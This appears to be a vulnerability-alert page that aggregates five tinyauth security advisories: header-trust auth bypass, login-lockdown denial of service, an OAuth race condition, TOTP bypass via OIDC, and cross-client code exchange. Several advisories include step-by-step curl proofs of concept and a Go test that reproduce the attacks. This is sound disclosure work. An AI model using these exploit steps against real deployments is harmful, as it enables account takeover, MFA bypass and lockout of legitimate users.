Where
-Infinity
0

Vendor Risk Score

See how tinyauth compares to other vendors in security performance

View Risk Score →
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

Tinyauth's Nginx forward-auth endpoint trusts the client-supplied X-Original-URL header when determining which application's access controls to enforce. This allows an attacker to bypass authentication by referencing another application's public path or bypass application-specific access restrictions by referencing an application they are authorized to access.

Who is impacted

Instances using Tinyauth's /api/auth/nginx endpoint with Nginx or Nginx Proxy Manager configurations that do not explicitly overwrite or remove the X-Original-URL header. Both unauthenticated users and authenticated users with restricted application access may exploit this vulnerability.

Temporary mitigation

Administrators should configure Nginx to remove the client-supplied X-Original-URL header before forwarding authorization requests to Tinyauth.

Add the following directive inside the Nginx location handling Tinyauth authentication requests:

nginx proxysetheader X-Original-URL "";

Ensure that the reverse proxy continues to supply the correct X-Forwarded-Host, X-Forwarded-Proto, and X-Forwarded-Uri headers. This mitigation applies to configurations using these forwarded headers rather than those that require a proxy-generated X-Original-URL.

1 / 2
Source: OSV
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

Tinyauth's login rate-limit bookkeeping can enter a global lockdown mode when its in-memory login-attempt map reaches 256 distinct identifiers. Because unauthenticated POST /api/user/login requests for unknown usernames are recorded in this same map, a remote unauthenticated attacker can submit 257 unique bogus usernames and cause valid credentials for unrelated users to be treated as locked until auth.loginTimeout expires.

This was confirmed against the stable v5.0.7 release. With default configuration, auth.loginTimeout is 300 seconds and auth.loginMaxRetries is 3, so the denial lasts about 5 minutes and can be repeated.

Details

In stable v5.0.7, the login endpoint is registered at internal/controller/usercontroller.go:45 and accepts unauthenticated JSON credentials in loginHandler at internal/controller/usercontroller.go:50. Before validating credentials, it calls controller.auth.IsAccountLocked(req.Username) at internal/controller/usercontroller.go:65.

When a username does not exist, the login handler records a failed login attempt for the attacker-controlled username with controller.auth.RecordLoginAttempt(req.Username, false) at internal/controller/usercontroller.go:83. Invalid passwords for existing users do the same at internal/controller/usercontroller.go:94.

The rate-limit map has a hard cap of 256 records at internal/service/authservice.go:29. RecordLoginAttempt checks len(auth.loginAttempts) >= MaxLoginAttemptRecords at internal/service/authservice.go:261 and, once the cap is reached, launches auth.lockdownMode() at internal/service/authservice.go:265 instead of evicting old identifiers or rejecting only the new identifier.

lockdownMode sets a global auth.lockdown value with Active: true and ActiveUntil: now + auth.config.LoginTimeout at internal/service/authservice.go:790-804. IsAccountLocked checks this global lockdown before looking up the requested identifier at internal/service/authservice.go:227-234, so every username is treated as locked while the global lockdown is active.

The default configuration enables this path with LoginTimeout: 300 and LoginMaxRetries: 3 at internal/config/config.go:23-24.

Source-to-sink path:

text Unauthenticated POST /api/user/login JSON username -> loginHandler binds LoginRequest -> unknown username path records RecordLoginAttempt(attacker-chosen username, false) -> 257 unique identifiers fill loginAttempts beyond MaxLoginAttemptRecords -> RecordLoginAttempt starts lockdownMode() -> lockdownMode sets global auth.lockdown.Active = true -> IsAccountLocked returns locked for unrelated valid users -> login endpoint returns HTTP 429 for valid credentials until loginTimeout expires

Candidate score: 13/14. Reachability 2, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 2, safe reproduction feasibility 2.

PoC

This PoC is local and non-destructive. It was tested against stable tag v5.0.7. It proves that 257 distinct unknown-user identifiers trigger global lockdown for an unrelated valid user, while that user's password still verifies successfully.

1. Check out stable v5.0.7.

2. Create internal/service/loginlockdownstablepoctest.go:

go package service

import ( "fmt" "testing" "time"

"github.com/steveiliop56/tinyauth/internal/config" "github.com/steveiliop56/tinyauth/internal/utils/tlog" "github.com/stretchr/testify/require" )

func TestPoCStableUnknownUsersTriggerGlobalLoginLockdown(t testing.T) { tlog.NewTestLogger().Init()

authServiceCfg := AuthServiceConfig{ Users: []config.User{{ Username: "testuser", Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password }}, LoginTimeout: 2, LoginMaxRetries: 3, }

authService := NewAuthService(authServiceCfg, &DockerService{}, &LdapService{}, nil, nil) t.Cleanup(authService.ClearRateLimitsTestingOnly)

require.True(t, authService.VerifyUser(config.UserSearch{ Username: "testuser", Type: "local", }, "password"))

for i := 0; i <= MaxLoginAttemptRecords; i++ { authService.RecordLoginAttempt(fmt.Sprintf("attacker-%03d", i), false) }

require.Eventually(t, func() bool { locked, := authService.IsAccountLocked("testuser") return locked }, time.Second, 10time.Millisecond)

locked, remaining := authService.IsAccountLocked("testuser") require.True(t, locked) require.GreaterOrEqual(t, remaining, 0)

require.True(t, authService.VerifyUser(config.UserSearch{ Username: "testuser", Type: "local", }, "password"))

t.Logf("proof on v5.0.7: %d distinct failed unknown-user identifiers caused unrelated valid user testuser to be locked", MaxLoginAttemptRecords+1) }

3. Run:

bash go test ./internal/service -run 'TestPoCStableUnknownUsersTriggerGlobalLoginLockdown' -count=1 -v

Observed output from this environment:

text === RUN TestPoCStableUnknownUsersTriggerGlobalLoginLockdown authservice.go:798: Multiple login attempts detected, possibly DDOS attack. Activating temporary lockdown. loginlockdownstablepoctest.go:42: proof on v5.0.7: 257 distinct failed unknown-user identifiers caused unrelated valid user testuser to be locked --- PASS: TestPoCStableUnknownUsersTriggerGlobalLoginLockdown (0.10s) PASS ok github.com/steveiliop56/tinyauth/internal/service 0.111s

4. Cleanup:

bash rm internal/service/loginlockdownstablepoctest.go

Impact

A remote unauthenticated attacker who can reach Tinyauth's login endpoint can temporarily deny login for unrelated valid users by sending a small number of login attempts using unique nonexistent usernames.

With default configuration, the global lockdown lasts 300 seconds. The attack does not invalidate existing sessions, but users who need to log in during the lockdown window receive rate-limit responses even when providing valid credentials.

This affects availability of local login and any flow that depends on the same account-lock check. The issue is especially relevant for internet-exposed Tinyauth deployments where /api/user/login is reachable.

Suggested remediation: do not enter global lockdown because of attacker-controlled unknown usernames. Use bounded LRU eviction for old login-attempt records instead of global lockout; consider rate limiting by client IP plus normalized username; avoid counting unlimited nonexistent usernames toward a global security state. If a global safety mode is desired, require stronger signals such as source-based thresholds rather than only distinct username count.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Race Condition
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

All three OAuth service implementations (GenericOAuthService, GithubOAuthService, GoogleOAuthService) store PKCE verifiers and access tokens as mutable struct fields on singleton instances shared across all concurrent requests. When two users initiate OAuth login for the same provider concurrently, a race condition between VerifyCode() and Userinfo() causes one user to receive a session with the other user's identity.

Details

The OAuthBrokerService.GetService() returns a single shared instance per provider for every request. The OAuth flow stores intermediate state as struct fields on this singleton:

Token storage — genericoauthservice.go line 96: go generic.token = token // Shared mutable field on singleton

Verifier storage — genericoauthservice.go line 81: go generic.verifier = verifier // Shared mutable field on singleton

In the callback handler oauthcontroller.go lines 136–143, the code calls: go err = service.VerifyCode(code) // line 136 — stores token on singleton // ... race window ... user, err := controller.broker.GetUser(req.Provider) // line 143 — reads token from singleton

Between these two calls, a concurrent request's VerifyCode() can overwrite the token field, causing GetUser() → Userinfo() to fetch the wrong user's identity claims.

The same pattern exists in all three implementations: - githuboauthservice.go lines 34–39, 77, 86–99 - googleoauthservice.go lines 22–27, 65, 73–87

PoC

Race scenario (two concurrent OAuth callbacks):

1. User A and User B both click "Login with GitHub" on the same tinyauth instance 2. Both are redirected to GitHub, authorize, and GitHub redirects both back with authorization codes 3. Both callbacks arrive at tinyauth nearly simultaneously:

Timeline: t0: Request A → service.VerifyCode(codeA) → singleton.token = tokenA t1: Request B → service.VerifyCode(codeB) → singleton.token = tokenB (overwrites tokenA) t2: Request A → broker.GetUser("github") → Userinfo() reads singleton.token = tokenB t3: Request A receives User B's identity (email, name, groups)

User A now has a tinyauth session with User B's email, gaining access to all resources User B is authorized for via tinyauth's ACL.

PKCE verifier DoS variant: Even with PKCE, concurrent oauthURLHandler calls overwrite the verifier field, causing VerifyCode() to send the wrong verifier to the OAuth provider, which rejects the exchange.

Static verification: Run Go's race detector on a test that calls VerifyCode and Userinfo concurrently on the same service instance — the -race flag will flag data races on the token and verifier fields.

Go race detector confirmation: Running a concurrent test with go test -race on the singleton service detects 4 data races on the token and verifier fields. Without the race detector, measured token overwrite rate is 99.9% (9,985/10,000 iterations).

Test environment: tinyauth v5.0.4, commit 592b7ded, Go race detector + source code analysis

Impact

An attacker who times their OAuth callback to race with a victim's callback can obtain a tinyauth session with the victim's identity. This grants unauthorized access to all resources the victim is permitted to access through tinyauth's ACL system. The probability of collision increases with concurrent OAuth traffic.

The PKCE verifier overwrite additionally causes a denial-of-service: concurrent OAuth logins for the same provider reliably fail.

Suggested Fix

Pass verifier and token through method parameters or return values instead of storing them on the singleton:

go func (generic GenericOAuthService) VerifyCode(code string, verifier string) (oauth2.Token, error) { return generic.config.Exchange(generic.context, code, oauth2.VerifierOption(verifier)) }

func (generic GenericOAuthService) Userinfo(token oauth2.Token) (config.Claims, error) { client := generic.config.Client(generic.context, token) // ... }

Store the PKCE verifier in the session/cookie associated with the OAuth state parameter, not on the service struct.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

Summary

The OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.

Details

When a user with TOTP enabled logs in at POST /api/user/login, the server creates a session with TotpPending: true and returns a session cookie. The context middleware (internal/middleware/contextmiddleware.go:56-66) correctly sets TotpPending: true and does not set IsLoggedIn for these sessions.

However, the OIDC authorize handler (internal/controller/oidccontroller.go:105-116) only checks whether a user context exists via utils.GetContext(c). It does not check IsLoggedIn or TotpPending. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), GetContext succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.

For comparison, the proxy controller (internal/controller/proxycontroller.go:176-179) correctly blocks TOTP-incomplete sessions by checking IsBasicAuth && TotpEnabled and setting IsLoggedIn = false. The OIDC authorize handler has no equivalent guard.

StoreCode at internal/service/oidcservice.go:305 saves the code with the victim's sub claim. The attacker then exchanges this code at POST /api/oidc/token for a valid access token and ID token.

PoC

Prerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.

Step 1 — Log in with password only (do not complete TOTP):

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \ -H "Content-Type: application/json" \ -d '{"username":"totpuser","password":"totp123"}'

Response: {"message":"TOTP required","status":200,"totpPending":true}

Step 2 — Request an OIDC authorization code using the TOTP-pending cookie:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientid":"my-client-id","redirecturi":"http://localhost:8080/callback","responsetype":"code","scope":"openid","state":"test"}'

Response: {"redirecturi":"http://localhost:8080/callback?code=<AUTHCODE>&state=test","status":200}

Step 3 — Exchange the code for tokens:

curl -X POST http://localhost:3000/api/oidc/token \ -u "my-client-id:my-client-secret" \ -d "granttype=authorizationcode&code=<AUTHCODE>&redirecturi=http://localhost:8080/callback"

Response contains accesstoken, idtoken, and refreshtoken for the victim user. TOTP was never submitted.

Impact

Complete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user's password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user's identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth's OIDC provider for authentication are affected.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N

Summary

The OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.

Details

When an authorization code is created, StoreCode at internal/service/oidcservice.go:305-322 correctly stores the ClientID alongside the code hash in the database (line 316).

During token exchange at internal/controller/oidccontroller.go:267-309, the handler retrieves the code entry at line 268 and validates the redirecturi at line 291, but never compares entry.ClientID against the requesting client's ID (creds.ClientID). The code proceeds directly to GenerateAccessToken at line 299.

The developers clearly intended this check to exist, the refresh token flow at internal/service/oidcservice.go:508-510 has the exact guard: if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }. It was simply omitted from the authorization code grant.

The entry.ClientID field is stored in the database but never read during authorization code exchange.

PoC

Prerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A's redirect (via referrer leak, browser history, log access, etc.).

Step 1 — Log in as a normal user:

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin123"}'

Step 2 — Authorize with Client A:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientid":"client-a-id","redirecturi":"http://localhost:8080/callback","responsetype":"code","scope":"openid","state":"test"}'

Extract the code parameter from the redirecturi in the response.

Step 3 — Exchange Client A's code using Client B's credentials:

curl -X POST http://localhost:3000/api/oidc/token \ -u "client-b-id:client-b-secret" \ -d "granttype=authorizationcode&code=<CODEFROMSTEP2>&redirecturi=http://localhost:8080/callback"

The server returns a valid accesstoken, idtoken, and refreshtoken. Client B has obtained tokens for a user who only authorized Client A.

Impact

A malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client's authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203